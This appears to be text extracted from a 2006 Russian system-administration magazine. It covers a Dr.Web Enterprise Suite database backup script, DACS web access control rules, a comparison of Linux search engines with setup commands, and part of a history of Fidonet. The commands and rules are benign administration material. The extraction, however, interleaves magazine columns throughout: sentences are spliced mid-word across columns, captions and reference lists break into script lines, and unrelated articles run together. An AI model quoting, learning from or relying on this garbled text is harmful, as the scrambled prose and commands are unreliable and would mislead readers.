Рисунок 4. Компонент репозитория «Enterprise Agent». # Exporting internal DrWEB DB into .SQL dump script
$DRWENGINE stop
echo "Engine Stopped";
Рисунок 5. Общая настройка репозитория подразумевает $IDBSH $IDB ".dump" | $BZ2 > $OUTPATH$OUTPUT
глобальную настройку.
echo "DrWEB IntDB dumped"
$DRWENGINE start
В качестве заключения
Несмотря на то что существует множество альтернативных,
как коммерческих, так и бесплатных антивирусных про-
граммных решений, стоит отметить, что компания «ООО
«Доктор Веб» была одной из первых, кто предложил по-
добную методологию антивирусного управления. Что ка-
сается качества программного кода, а именно безаварий-
ность в работе рабочих станций при развертывании систе-
мы и/или переходе со старой версии комплекса на новую,
то в этой ситуации стоит понимать простые истины. Как и
везде существуют стадии проверки и отладки, так и у рас-
смотренного комплекса есть beta-версии, задача которых
Рисунок 6. Суммарная статистика сервера. «отловить» острые моменты и устранить их. Если придер-
живаться принципа здорового консерватизма и развер-
тывать систему в стадии stable, то это позволит вам чи-
тать страшные истории о последствиях установки систе-
мы с улыбкой на устах.
На этом всё, успехов!
1. http://www.symantec.com.
2. http://www.esetnod32.ru/products/ee.htm.
3. http://www.sophos.com/products/es.
4. http://www.mcafee.com/us/enterprise/index.html.
5. http://www.f-secure.com/small_businesses/products/fsavwks.
html.
6. http://www.panda-antivirus.ru/images2/panda-prod.html.
7. http://solutions.drweb.com/business/esuite – Drweb Enterprise
Suite.
8. http://www.kaspersky.ru/products?chapter=145665459.
9. ftp://ftp.drweb.com/pub/drweb/esuite/drweb-es-4.33-200510280-
linux-debian-sarge.tar.gz.
10. http://www.drweb.ru/download/627 – документация к продукту
Рисунок 7. Графические данные. Drweb ES.
11. http://www.kaspersky.ru/corporatesolutions – Kaspersky Corporate
# 28 Sep 2005, AB Suite.
#########################################################
12. http://www.f-secure.com/products/anti-virus/enterprisesuite.
DATE=/usr/bin/date 13. http://eset.com/products/enterprise_edition.php.
IDBSH=/opt/drwcs/bin/drwidbsh
IDB=/opt/drwcs/var/dbinternal.dbs 14. http://www.sophos.com/products/es/endpoint-server/security.
BZ2=/usr/bin/bzip2 html.
ECHO=/usr/bin/echo
DRWENGINE=/etc/rc.d/rc.drwebd 15. http://www.mcafee.com/us/enterprise/products/security_suite_
solutions/total_protection_solutions/total_protection_enterprise.
OUTPATH=/root/System/drweb/
html.
72
bugtraq
Контролируем доступ
к веб-сервису с помощью DACS
Сергей Яремчук
Если для настольных систем проблему аутентификации и авторизации можно считать
решенной, то стандартные механизмы, используемые в веб-сервисах, пока еще
не удовлетворяют современным требованиям безопасности.
Недостатки базовой редача пароля в открытом виде. И, кро- раняемой области. Не защищена basic-
и digest-аутентификаций ме того, веб-браузер запоминает эту схема и от перебора пароля.
В протоколе HTTP предусмотрено два информацию и передает ее серверу В digest-схеме эти проблемы час-
типа аутентификации: basic и digest, ко- при каждом обращении, а если не очис- тично решены. По сети (опять же
торые определены в RFC 2617. Их ме- тить кэш браузера, то возможно полу- при каждом обращении) передается
ханизм очень подробно рассмотрен чить доступ к серверу без ввода паро- Response, который представляет со-
в статьях Алексея Мичурина [1, 2]. Ос- ля даже через неделю, месяц. Самое бой контрольную (обычно MD5) сумму
тановлюсь на недостатках. главное, что у злоумышленника всегда от комбинации логина, пароля, запра-
Для базовой аутентификации са- будет возможность перехватить логин шиваемого URL, метода HTTP и строки
мым главным недостатком является пе- и пароль и получить доступ ко всей ох- nonce, генерируемой сервером при от-
74
web
вете. Все параметры, кроме последне- всей системы через некоторое время вать и удостоверить себя DACS. Обыч-
го, теоретически можно попробовать можно будет уже не говорить. но для этого применяется пара логин
либо угадать, либо подобрать, поэто- и пароль, но может быть использован
му от алгоритма генерирования nonce Знакомство цифровой сертификат или оба этих ме-
во многом зависит уникальность всей с системой DACS тода одновременно. Здесь пока ниче-
комбинации. Хотя здесь также воз- Система веб-аутентификации и уп- го не обычного. Отличие заключается
можны варианты. Например, включе- равления доступом DACS (Distributed в том, что система доступа DACS осу-
ние в nonce метки времени позволя- Access Control System) представляет со- ществлена при помощи ролевой моде-
ет не только сделать ее уникальной, бой набор программ, позволяющих ог- ли RBAC (role-based access control). Поэ-
но и контролировать время отклика, раничить доступ пользователей к лю- тому здесь логин не равен identity, поль-
использование клиентского IP-адреса, бому ресурсу популярного веб-сервера зователь может быть ассоциирован
откуда идут запросы, добавив счетчик Apache. Начало разработок датировано сразу с несколькими identity, и, наобо-
соединений и контролировать количес- маем 2001 года. Дизайном, внедрением рот, identity может описывать не только
тво запросов, сделанных конкретным и поддержкой занимается небольшая логин и системное имя (т.е. фактичес-
клиентом. К сожалению, современ- канадская фирма-разработчик DSS ки имя процесса), но и другие парамет-
ные веб-серверы и браузеры пока еще (Distributed System Software) при содейс- ры (роль, IP-адрес, группу и пр.). Прави-
не полностью поддерживают все спе- твии Metalogic Software Corp. В настоя- ла контроля доступа, задаваемые ад-
цификации и рекомендации. Поэтому щее время DACS является ключевым министратором, позволяют точно ука-
если информация действительно име- компонентом канадской государствен- зать кто, что и при каких условиях будет
ет ценность, то многие вопросы можно ной информационной системы (National использовать ресурс. Поддерживается
решить, применив в защищаемой об- Forest Information System, NFIS). и анонимный, т.е. неавторизированный
ласти протокол SSL. Последние версии DACS распро- доступ к ресурсу.
Это взгляд со стороны сети. Ад- страняются под двойными лицензион-
министрирование при использовании ными условиями: свободной и коммер- Сredentials
как basic, так и digest-методов мож- ческой. Если вы распространяете про- Пользователю, успешно прошедше-
но назвать простым, но только в слу- дукт, базирующийся на DACS, он дол- му процедуру аутентификации, пре-
чае когда количество пользовате- жен быть Open Source, иначе вы долж- доставляется криптографически за-
лей или защищаемых ресурсов отно- ны приобрести коммерческую лицен- щищенное удостоверение (credentials),
сительно мало. Для ограничения до- зию. Но если DACS просто использу- которое является неким аналогом би-
ступа достаточно поместить в нуж- ется в работе, без распространения, лета (tiket), используемого в системе
ный каталог файл .htaccess и создать то коммерческая лицензия не нужна. Kerberos. Такое удостоверение в даль-
файл с паролями при помощи htpasswd Но хотя DACS и может распространять- нейшем подтверждает полномочия
или htdigest. Если же каталогов мно- ся под Open Source-лицензией, проект пользователя. Внутри удостоверения
го, лучше все описания собрать в од- таковым не является. За все разработ- может содержаться имя пользовате-
ном месте, т.е. файле конфигурации ки отвечает только небольшая группа, ля, роль, IP-адрес, с которого пользо-
веб-сервера. хотя исправления от пользователей ватель зарегистрировался и куда был
Еще одно отличие digest от basic- принимаются. отправлен credentials, и время жизни.
метода заключается в том, что пер- Первоначальная задача, на реше- Пароль, как видите, не входит в состав
вый различает закрытые зоны (в пре- ние которой был ориентирован DACS, – удостоверения. При такой схеме ис-
делах сервера), и пользователю при это упрощение использования и адми- пользование пароля внутри credentials
переходе между каталогами в одной нистрирования совместных веб-ресур- не является необходимым. Для макси-
зоне не надо повторно проходить про- сов с сохранением максимальной безо- мального удобства и лучшего взаимо-
цедуру аутентификации. Вот и все воз- пасности. Используемая в DACS сис- действия credentials обычно возвраща-
можности. Но сегодня не редка ситуа- тема аутентификации и авторизации ется пользователю в виде cookie, ко-
ция, когда в одной компании имеется позволяет очень точно установить па- торый по умолчанию использует спе-
несколько веб-серверов, которые рас- раметры доступа и отслеживать взаи- цификации Netscape, но при необхо-
положены в разных, подчас террито- модействие пользователей с сервером. димости синтаксис можно изменить
риально разнесенных подразделени- Конструктивно DACS состоит из моду- в конфигурационном файле специ-
ях, и управляемых разными админис- ля Apache (mod_auth_dacs), через ко- альной директивой COOKIE_SYNTAX.
траторами. Пользователи в зависи- торый веб-сервер связывается с DACS, Передача credentials всегда происхо-
мости от своих обязанностей должны для определения разрешений доступа дит через SSL, что затрудняет его пе-
иметь доступ к строго определенным к ресурсу, блока программ CGI, обеспе- рехват и повторное использование.
ресурсам на каждом из них. Учитывая, чивающих веб-сервис DACS, и набора Куки являются основным и рекомен-
что работники компании могут перехо- утилит, выполняющих административ- дуемым способом, хотя в принципе
дить из отдела в отдел, увольняться, ные и вспомогательные функции. Поль- могут быть использованы и дополни-
администраторам придется согласо- зователи в системе DACS представле- тельные расширения HTTP, например,
вывать все рабочие моменты по выда- ны тождествами (identity). При полу- описанные в RFC 2617 посредством
че разрешений на доступ и удалению чении доступа к защищенной облас- WWW-Authenticate, либо применены
пользователей, иначе о безопасности ти он должен сначала идентифициро- другие методы безопасной передачи
76
web
::jurisdiction-name: и к группам, определенным другими ля ACS производит поиск правил, со-
юрисдикциями. ответствующих его тождеству. Здесь
Добавив третий компонент, полу- Например, такие пользователи может быть применено несколько ва-
чим имя пользователя: в правилах будут легитимными: риантов правил.
Иногда администратору нужно
federation-name:: ↵ user name="SALES:boss" быстро произвести какое то дейс-
jurisdiction-name:username user name="%SALES:admin"
user name="10.0.0.118" твие, не обращаясь к правилам. Ча-
Все имена чувствительны к регис- user name="192.168.0.0/24" ще всего необходимость такая возни-
user name="home.com"
тру (если это не переопределено спе- user name="HOME:" кает во временном отключении поль-
циальными директивами). Для удобс- user name="auth" зователя или целого участка сети.
user name="unauth"
тва федерации и юрисдикции пишутся Для этих целей в DACS применяется
заглавными буквами, а пользователи – Последние два правила описыва- т.н. revocation list. Такой список состо-
маленькими. Например, в credentials ют соответственно авторизированно- ит из линий, в каждой описан пользо-
имя заносится в таком виде: го и неавторизированного пользовате- ватель (все правила, указанные вы-
лей. Обратите внимание, что вот такие ше, естественно, и здесь соблюдают-
HOME::SALES:boss правила не равнозначны: ся) и действие. Действий предусмот-
рено всего два: deny и revoke. Первое
А можно и так: user name="auth" означает запрет доступа и окончание
user name="HOME:auth"
дальнейшей обработки revocation list.
::SALES:boss Первое соответствует всем успеш-Второе игнорирует полученное удос-
SALES:boss
:boss но зарегистрировавшимся пользова- товерение, делая пользователя фак-
телям, второе только принадлежащим тически неавторизованным, обработ-
В имени не должны встречаться к юрисдикции HOME. ка списка при этом продолжается. На-
знаки «* , : + ( ) ~ < > = | \ /» и «"». Все ос- Если использовать пользовате- пример:
тальные разрешены. Длина имен не ля any, то запрос о соответствии име- Запрет доступа неаутентифициро-
ограничена, здесь просто стоит под- ни в проверяемом правиле всегда бу- ванных пользователей:
ходить к процессу творчески, чтобы дет возвращать true. Также поддержи-
при большом количестве юрисдик- ваются и некоторые операции. Напри- deny user("unauth")
ций и федераций можно было понять, мер, такой конструкцией можно выде-
о ком речь. Имя пользователя при за- лить всех пользователей admin любой Сброс всех удостоверений:
просах передается как переменная юрисдикции:
DACS_USERNAME. revoke user("any")
Но это в credentials. В правила в па- user name="*:admin"
раметр user могут быть занесены груп- Запрет доступа на выходные:
пы, IP-адреса, сети и под сети. Имена или всем, кроме пользователя sergej:
группы образуются аналогично поль- deny time("wday") eq 6 or ↵
user("not *:sergej") time("wday") eq 0
зовательским, только на первом месте
должен стоять знак процента %. Сброс всех удостоверений кро-
Можно задавать и более развет- ме полученных из внутренней сети,
%HOME::SALES:friends вленные конструкции, список всех т.е. пользователь из внешней всегда
%::SALES:friends
%SALES:friends поддерживаемых операторов найде- будет анонимным:
%:friends те в документации.
Например, для всех не sergej и не- revoke not from("192.168.1.0/24")
Понятие группы в контексте DACS авторизованных список будет выгля-
имеет двойное значение. С одной деть так: После того как будет обработан
стороны, это списки пользователей revocation list, модуль ведет просмотр
в обычном понимании, с другой сто- user("not *:sergej and noauth") правил контроля дост упа. Типич-
роны, здесь могут быть указаны роли, ное правило состоит из двух частей –
под которыми здесь понимают инфор- При создании более сложных конс- services и rule – и должно быть интуи-
мацию о членстве конкретного пользо- трукций можно создавать списки поль- тивно понятно.
вателя в группах. В юрисдикции можно зователей (user_list).
определить любое количество групп, <acl_rule>
<services>
на которые можно ссылаться в груп- Правила контроля доступа <service url_pattern= ↵
пах и правилах в других юрисдикци- Компонентом, отвечающим за получе- "/cgi-bin/*"/>
</services>
ях. То есть когда DACS нужно решить, ние решений о доступе, является сер-
к какой группе принадлежит сделав- вис контроля доступа DACS (access <rule order="allow,deny">
<allow>
ший запрос пользователь, система control service – ACS). Реализован user("auth")
обращается к локальным группам, ро- при помощи программы dacs_acs. Пос- </allow>
</rule>
ли, соответствующей пользователю, ле успешной авторизации пользовате- </acl_rule>
78
web
Иван Максимов
Большинство из вас каждый день пользуется поисковыми машинами в Интернете.
Какие они изнутри? Чем они отличаются?
Р
азные компании, разрабатыва- 2500+, 512 DDR 3200 (DUAL), HDD поративные, предназначенные для ра-
ющие поисковые движки, пыта- 160 Гб WesternDigital SATA (8 Мб кэш, боты с множеством клиентов и группой
ются занять ниши на рынке, кто- 7200 оборотов). Именно этот докумен- ресурсов. К ним можно отнести рас-
то совершенствует пользовательский тооборот мы и будем индексировать. сматриваемые далее движки Yandex.
интерфейс, другие заботятся о скоро- Возможно, кто-то задастся вопросом: Server, DataparkSearch, Mnogosearch,
сти работы и функциональности, тре- «Мы рассматриваем движки поиско- ASPseek и htdig. Вторые – пользова-
тьи пытаются охватить все популярные вых машин, почему бы не тестировать тельские, предназначенные для об-
платформы, а другие собирают все пе- их на реальных внешних ресурсах, на- легчения поиска информации на ком-
речисленные возможности. Некото- пример на www.samag.ru?» Сделано пьютере пользователя. В связи с тем,
рые разработчики поисковых движков это для того, чтобы максимально не за- что пользовательские движки поиско-
не выдерживают конкуренции и выхо- висеть от пропускной способности ка- вых машин под ОС Linux плохо освеще-
дят из борьбы, иные переходят частич- нала. Поисковые машины будут уста- ны в Интернете, и для полноты карти-
но или полностью на «коммерческие навливаться на практически идентич- ны данного обзора я также рассмотрю
рельсы». Надеюсь, обзор прольет свет ную машину, расположенную в данной движок Beagle (как наиболее «сильно-
на некоторые проекты, продемонстри- сети. Пропускная способность локаль- го» представителя группы).
рует их преимущества и недостатки ной сети 100 Мб (half duplex).
в различных задачах. Все движки будут тестировать- Yandex.Server
ся с максимально едиными услови- Известный многим движок поисковой
Задача. Файловый сервер ями, но все же отличными. Связано машины Яндекс – коммерческий про-
В сети имеется файловый сервер под это с тем, что разные движки облада- ект. Для ознакомления существует
управлением ОС Linux. Для совмести- ют различным функционалом, инстру- shareware-версия движка, которую мы
мости с различными задачами на сер- ментарием, некоторые иногда в чем-то и рассмотрим. К сожалению, пробная
вере установлены популярные пакеты ограничены (коммерческие версии). версия во многом ограничена.
samba и proftpd. Количество докумен- В конце обзора каждого движка будут Установить движок можно под опе-
тов – около 2 тысяч (занимаемый раз- даны примерные сравнительные ха- рационные системы FreeBSD, Linux,
мер на диске примерно 1,5 Гб), раз- рактеристики. Solaris, Windows. По заявлениям
личных форматов (txt, html, doc, xls, Итак, приступим к обзору, уста- разработчиков, при заказе версии
rtf), используется файловая система новке, конфигурированию и сравне- Professional возможно портирование
reiserfs (3-я версия). Отмечу, что боль- нию движков. движка практически под любую плат-
шая часть документов (около 80-85%) форму заказчика.
состоит из форматов MS Excel (xls) Обзор поисковых машин Рассмотрим установку движка под
и MS Word (doc). Аппаратное обеспе- Движки поисковых машин можно от- Linux из tgz-архива. Скопируем и ра-
чение файлового сервера: AMD Athlon нести к двум категориям. Первые – кор- зархивируем Яndex.Server Standard.
80
web
Распаковывать архив лучше в корень диска:
gzip -d name.tgz /
tar -xvf name.tar /
82
web
Если у вас не создан пользователь в MySQL, то создай- установить до начала индексации. Если необходимо обра-
те его: батывать иные типы файлов, то нужно установить и другие
парсеты (пакеты), более подробно мы говорили о них в пре-
sh$mysql --user=root mysql дыдущей статье, поэтому не будем рассматривать этот воп-
mysql> GRANT ALL PRIVILEGES ON *.* TO пользователь@localhost
IDENTIFIED BY 'пароль' WITH GRANT OPTION; рос (информацию с некоторыми примерами о парсетах мож-
exit но также найти в документации).
Второй файл конфигурации – это search.htm, состо-
Для минимальной конфигурации движка необходимо ит из двух основных блоков, первый содержит данные
indexer.conf-dist (шаблон, находящийся в папке etc относи- для скрипта search.cgi, второй – дизайн шаблона выво-
тельно движка) переименовать в indexer.conf и изменить не- да информации. Необходимо изменить параметр DBAddr,
которые параметры. Первое и необходимое – указываем он должен совпадать с таким же в indexer.conf
используемую СУБД, имя и пароль пользователя в MySQL,
название базы данных и используемый режим хранения DBAddr mysql://пользователь:пароль@localhost/searchmn/ ↵
?dbmode=режим
данных (о dpmode будет рассказано позже).
Если указанные параметры будут иными, движок вмес-
DBAddr mysql://пользователь:пароль@localhost/search/ ↵ то вывода искомой информации сообщит вам о соответс-
?dbmode=режим
твующей ошибке. Это наиболее распространенная ошиб-
Так как мы будем индексировать txt-, html-, doc-, xls-, ка при конфигурировании движка, поэтому будьте внима-
rtf-файлы, то закомментируйте строки, запрещающие тельны.
их индексацию: Скопируем search.cgi из директории bin движка в дирек-
торию cgi-bin веб-сервера и пропишем форму для вызова
#Disallow *.tex *.texi *.xls *.doc *.texinfo скрипта в index.shtml:
#Disallow *.rtf *.pdf *.cdf *.ps
О движках, не вошедших в обзор... тично поставить на новые дистрибутивы тается все еще популярным (для обра-
...Но весьма интересных. В статье [8] я упо- Linux и *BSD-систем, одно из затруднений – ботки небольших объемов данных), не-
минал некоторые поисковые машины, та- ошибки при компиляции в gcc3 (и особенно смотря на то, что последний официаль-
кие как Wordindex [5], ASPseek [6], htdig [7] 4 версии), но обратившись на форум мож- ный релиз был в 2004 году. Хорошим при-
и другие. Из перечисленных, но не вошед- но найти ссылки на измененные версии мером работы движка, можно считать
ших в сегодняшний обзор, стоит выделить движка, которые вполне работоспособны. то, что он помогает обеспечивать рабо-
ASPseek и hidig. Почему именно они? Как мы видим, ASPseek еще использует- ту достаточно популярного и многим из-
ASPseek уже успел устареть, послед- ся и дорабатывается, несмотря на отсутс- вестного портала – www.opennet.ru. Как
няя официальная версия движка вышла твие официальной поддержки. Хотелось бы можно увидеть на странице-путеводите-
в 2002 году, но на форуме сайта можно напомнить, что стоит «доверять, но прове- ле (http://www.opennet.ru/guide.shtml), htdig
встретить энтузиастов, которые помогают рять» неофициальные снапшоты любого хорошо справляется с объемом данных
с поддержкой движка. Официальный ре- программного обеспечения. в 1,5 Гб, ну а о качестве работы движка
лиз версии 1.2.10 достаточно проблема- Htdig – движок поисковой машины ос- можно судить там же.
Для начала индексации просто запустите indexer, если дачей. Настройка из консоли осуществляется утилитой
вы хотите проиндексировать небольшое количество доку- beagle-config, немного сложнее, чем в графическом режиме,
ментов, то запустите «indexer -n N», где N количество фай- но опытные пользователи ОС Linux так же быстро разберут-
лов или с параметром «indexer -с N», где N время работы ся со всеми параметрами. Рассмотрим пару примеров:
«паука» в секундах.
Если используется режим dpmode – blob, то по окончании beagle-config indexing AddRoot /mnt/disk2
работы «паука» нужно выполнить команду indexer – Eblob.
Теперь о скоростных характеристиках. Индексиру- где indexing – необходимый конфигурационный файл,
ются те же 2000 файлов, время индексации в режиме AddRoot – секция и последний параметр – путь к индекси-
dpmode-blob занимает чуть менее 20 минут. Время поис- руемой папке.
ка по базе около секунды. Пример результатов поиска
MnogoSearch смотрите на рис. 4. beagle-config indexing AddExclude pattern file.xxx
84
web
log можно найти результаты индекси- Сравнительные характеристики поисковых движков (* напомню, что все файлы
были переведены из форматов xls, doc, rtf в формат text/plain)
рования, файлы формируются в таком
виде: 2006-07-02-13-02-04-IndexHelper, Yandex.Server DataparkSearch MnogoSearch Beagle
а не единым log-файлом. После окон- Кросплатформенность Да Нет Да Нет
чания индексации приступаем к поиску Русскоязычная документация Да Да Нет Нет
информации. Возможен поиск по базе
Многоязыковая поддержка индексации Да Да Да Да
как в графическом режиме, утилитой
Лицензия Windows Shareware – Shareware –
beagle-search (см. рис. 6), так и в кон-
соли, программой beagle-query. Лицензия *nix Shareware GNU GNU MIT
В комплект поставки Beagle вхо- Время индексации < 2 мин.* < 30 мин. < 20 мин. < 25 мин.
дит достаточно много вспомогатель- Время поиска < 1 сек. < 1 сек. 1 сек. 2-3 сек.
ных утилит, например, beagle-index-info
выводит информацию о количестве зацией базы данных в MySQL). К сожа- MnogoSearch– полукоммерческий
и типе проиндексированных докумен- лению, охватить все стороны выбран- проект с богатым функционалом, есть
тов. С помощью Beagle-index-url мож- ных движков в одной статье просто не- выбор версий движков и платформ. Дви-
но задать веб-ресурс для индексации. возможно. Документация ко всем кор- жок давно уже успел себя зарекомендо-
Beagle-info выводит исчерпывающую поративным поисковым машинам со- вать. Индексация документов происхо-
информацию о демоне beagle, соб- ставляет сотни страниц, простое чте- дит достаточно быстро, но время поис-
ранной информации, установленных ние этой информации займет несколь- ка по базе при больших объемах данных
фильтрах и так далее. ко дней. Но все же можно сделать не- и сложных запросах бывает очень боль-
Должен заметить, что возможность которые выводы из полученных дан- шое. Не хватает движку документации
конфигурирования и поиска из консо- ных (см. таблицу). на русском языке, так как неискушенно-
ли позволяет устанавливать данный Yandex.Server – из рассмотренных му пользователю разбираться в доста-
движок на удаленный шелл и легко ис- движков явный фаворит, время индек- точно сложных поисковых машинах все
пользовать его в работе, при этом не сации и поиска минимальное. Отлич- же проще на родном языке.
задействуя сервисов требующих пра- ная документация, поддержка, крос- Beagle – простой пользователь-
ва суперпользователя (root). Время ин- сплатформенность, мощный функци- ский движок, предназначенный для
дексации примерно 2000 тысяч доку- онал – большие плюсы. Движок мож- облегчения поиска информации на
ментов равна 23 минутам. Огорчило но рекомендовать для крупных и хоро- локальном компьютере. Движок хоро-
только время поиска по базе, простые шо финансируемых проектов. Компро- шо справляется с задачами, на кото-
запросы beagle обрабатывает 3-4 се- мисс, конечно, есть всегда, существует рые он ориентирован. Немного огор-
кунды, но не стоит забывать, что дви- несколько редакций движка, но полная чает время поиска по базе и некото-
жок позиционируется как пользова- версия движка все же дорога, по дан- рые проблемы при индексации доку-
тельский. ному поводу на форуме Yandex уже ментов MS Word (doc), о чем нас пре-
давно идут дебаты. дупреждают разработчики.
Итоги DataparkSearch – полностью сво- Примечательно, что все три корпо-
Я не претендую на то, что все движ- бодный проект, давно уже перестав- ративные поисковые машины Yandex,
ки были идеально сконфигурирова- ший быть клоном MnogoSearch. Основ- DataparkSearch, MnogoSearch– рос-
ны, в каждом конкретном случае мож- ное отличие и плюс – это mod_dpsearch сийские проекты, причем выбор обзо-
но добиться более впечатляющих ре- для веб-сервера Apache, за счет него ра был сделан не целенаправленно по
зультатов (можно «выиграть» в скоро- движок очень быстро обрабатывает данному критерию, а из соображений
сти поиска по СУБД простой оптими- при поиске большие объемы данных. «какие хорошие проекты рекоменду-
ют на просторах сети Интернет?». Ос-
тается только порадоваться за наших
разработчиков, движки развиваются
и поддерживаются.
1. Yandex – http://company.yandex.ru /
technology/products/yandex-server.xml.
2. DataparkSearch – http://www.datapark
search.org.
3. MnogoSearch – http://www.mnogosearch.ru.
4. Beagle – http://beagle-project.org.
5. Wordindex – http://wordindex.sourceforge.net.
6. ASPseek – http://www.aspseek.org.
7. Htdig – http://htdig.org.
8. Максимов И. Возможности поискового
движка DataparkSearch. //Системный ад-
Рисунок 6. Графический интерфейс утилиты beagle-search министратор, №5, май 2006 г. – С. 80-84.
Илья Александров
Фидо… Для кого-то это слово – пустой звук, для многих из вас – часть жизни, пусть, быть
может, и прошлой. Но история первого в России компьютерного сообщества будет интересна
каждому.
86
ретроспектива
существования Фидо была и остаётся дящий за порядком и развитием се-
некоммерческой сетью. ти, самым главным из которых явля-
Количество пользователей Fidonet ется интернациональный координа-
постоянно росло. Так, если в 1987 го- тор. Принятые им решения может от-
ду их было всего 2,5 тысячи, то к 1992менить только совет координаторов
году эта цифра увеличилась до 16 ты- зон. Теперь подробнее об уровнях ие-
сяч. Одновременно с увеличением ко- рархии.
личества пользователей росли и воз- Наиболее крупная единица в деле-
можности самой сети. Появилась иден- нии Fido – «зона». Всего существует
тификация каждого отдельного учас- шесть зон, каждая из которых охваты-
тника Фидо, возможность отправлять вает, как правило, один континент. Тер-
сообщения и файлы сразу нескольким ритория бывшего СССР вместе с Ев-
адресатам. ропой относится ко второй зоне. Одно
В 1985 году группа программистов время для России хотели выделить от-
из Далласа создала протокол echomail. дельную, седьмую зону, но дело до это-
До этого момента сеть использова- го так и не дошло (и, видимо, уже ни-
лась исключительно для личной пере- когда не дойдет).
писки посредством протокола netmail – Зоны подразделяются на «регио-
фидошного аналога e-mail. С исполь- ны», охватывающие обычно отдельные
зованием echomail появилась возмож- страны. России отведен пятидесятый
Том Дженнингс
ность создания тематических конфе- регион. Каждый регион состоит из «се-
ренций (также именуемых «эхо-кон- тей», адрес которых входит в адрес ре- зуется услугами двести девятнадцато-
ференциями»): человек отправляет гиона – то есть номер всех сетей в Рос- го узла, на котором числится под циф-
сообщение, например, в конферен- сии имеет вид «50ХХ». рой «8».
цию US.FIDO, и его письмо пересыла- В свою очередь сеть объединяет
ется всем, кто на неё подписан. Эти несколько «узлов» в одной географи- Программное обеспечение
тематические конференции и состав- ческой области. Узел – это компьютер, Программное обеспечение для фи-
ляют основу Фидо, в них таится сек- осуществляющий прием почты от дру- дошника – больше, чем просто «софт».
рет ее успеха. гих узлов своей сети. Узел также на- Это – набор для «выживания в сети».
В это же время сеть «вырвалась» зывается «нодой» (от англ. «node»). Итак, для работы с Фидо требует-
из США и проникла в самые разные Владельца ноды, выделившего собс- ся следующий набор программного
точки земного шара, включая Австра- твенный ПК и телефонную линию на обеспечения:
лию и Южную Азию. 1990 год ознаме- благо Fidonet, называют «системным Mail-клиент – устанавливает со-
новался появлением первого «фидош- оператором» (сокращенно – сисопом). единение с узлом и скачивает поч-
ника» на просторах СССР. У каждого узла есть свои абоненты – ту, как личную (netmail), так и но-
Еще одним значимым моментом пользователи, осуществляющие пе- вые сообщения эхо-конференций,
в истории развития сети стала публи- реписку в Фидо. Абонентов называют на которые подписан пользователь.
«поинтами» (от англ. «point» – пункт,
кация FidoPolicy. Этот свод правил, ко- Наиболее популярной из таких про-
торый можно назвать «конституцией» точка). Формально они не являются грамм является T-mail.
Fidonet, был выпущен для поддержания частью сети, хотя имеют такие же воз- Эхо-процессор – обрабатыва-
порядка в сети. Правда, с документом можности, как и системные операторы. ет почту эхо-конференций. Распа-
были согласны не все. Том Дженнингс, Но они не обязаны предоставлять свой ковывает пакеты и распределяет
будучи по идеологическим убеждениям телефон и компьютер для работы с Фи- их по группам.
анархистом, прокомментировал выход до другим пользователям (вообще-то, Трекер – отвечает за обработку
FidoPolicy коротко, но емко: «Old smelly
сисопы также не обязаны, но делают личной почты. Дело в том, что из-за
crock of shit» («Старый дурно пахнущийэто, причем совершенно безвозмезд- специфичной для Fidonet доставки
кувшин с отходами»). Именно устав Фи- но; подобное поведение и стало одной файлов (от одного узла к другому;
до стал главной причиной ухода из се- из причин, по которой Fidonet стала на- причем письмо зачастую проходит
ти ее создателя. Однако стремитель- зываться «сетью друзей»). путь среди разных регионов и зон)
но разраставшаяся Fidonet завоёвы- Зачем же нужно такое многоуров- письма пакуются. Распаковка и яв-
вала всё большую популярность, и по- невое административное деление? ляется основной задачей трекера.
теря Дженнингса, ныне являющегося Это сделано для идентификации поль- Файл-эхо-процессор (также на-
сотрудником интернет-провайдера, для зователей. Каждый поинт в Фидо име- зываемый «файл-тоссером») –
неё уже мало что значила. ет свой уникальный, не меняющийся программа для работы в файл-эхах.
адрес в виде: «Зона:Сеть/Узел.Поинт». Файловые эхо-конференции пред-
Иерархия сети Например, из адреса 2:5030/219.8 сле- ставляют собой аналог ftp, с помо-
Fidonet обладает иерархической струк- дует, что его владелец находится во щью которых пользователи обме-
турой. На каждом уровне иерархии второй зоне, в городе Санкт-Петербур- ниваются нетекстовой информа-
есть свой координатор – человек, сле- ге (для Москвы код сети – 5020), поль- цией (ПО и прочее).
88
ретроспектива
век, кстати, позже организовал самую
первую в России Санкт-Петербургскую Жаргон Фидо оффтопик (offtopic) – сообщение
группу пользователей Linux (Linux User За время существования сети Fidonet в ней не по теме конференции;
Group). Когда трафик в конференциях зародился свой, компьютерный лексикон, рулез (rulez) – возглас восхищения,
вследствие наплыва новых пользова- позже «завоевавший» и Интернет. Вот не- высшего одобрения;
телей стал очень велик, на собрании которые из жаргонизмов Фидо: сабж (subject) – тема сообщения;
системных операторов функции моде- ака (aka, also known as) – «также из- сакс (sucks или suxx) – что-то плохое,
ратора были распределены между не- вестен как» (другое имя, другой адрес нехорошее;
сколькими людьми. В своё время Фи- человека); cисоп – сокращение от «системный
до пользовались такие личности, как борда (BBS, Bulleten Board System) – оператор», администратор узла сети;
Леонид Каганов, Алекс Экслер, Сер- электронная доска объявлений; эха – тематическая конференция;
гей Лукьяненко, тогда еще мало кому босс, нода (узел) – основная единица эхотаг (echotag) – название конферен-
известные и зачастую публиковавшие Fidonet, через которою с сетью соеди- ции;
в сети свои рассказы. няются пользователи (поинты); LOL (Laughing Out Loud) – говорится
зы (p.s., post scriptum) – постскрип- в ответ на что-либо смешное;
Эхо-конференции тум; RTFM (Read The F..k... Manual) – мож-
«Эхи» – тематические конференции, имхо (imho) – по моему мнению; но перевести как «будьте добры изу-
в которых можно обсудить то или иное нодлист (nodelist) – список узлов в ка- чить документацию по интересующе-
событие, получить совет, прочитать ин- ком-либо локальном сегменте Fidonet; му вас вопросу».
тересные истории и т. д. Они были со-
зданы по типу News-конференций се- SU.TORMOZ – весьма специфич- MO.ECHO – конференция для жи-
ти Usenet, которая в нашей стране по- ное место. Больше всего похоже телей столицы. Московские ново-
пулярности так и не получила. на современные веб-чаты, толь- сти, события, слухи.
У каждой конференции свои пра- ко в замедленном виде. Разгово-
вила: в некоторых правит бал стро- ры совершенно ни о чем, зачас- Вообще, об эхах говорить мож-
гое модерирование, в других же ца- тую переходившие во взаимные но бесконечно. Существовали и му-
рит вседозволенность. Тематика са- оскорбления. Тем не менее вокруг зыкальные (SU.MUSIC), и политичес-
мая разная: существуют спортивные конференции образовалось це- кие (SU.POL), и великое множест-
эхи, компьютерные, клубы любителей лое коммьюнити под названием во компьютерных конференций. Пос-
автомобилей и др. «Su.Tormoz team», участники кото- леднее легко объяснимо – пользова-
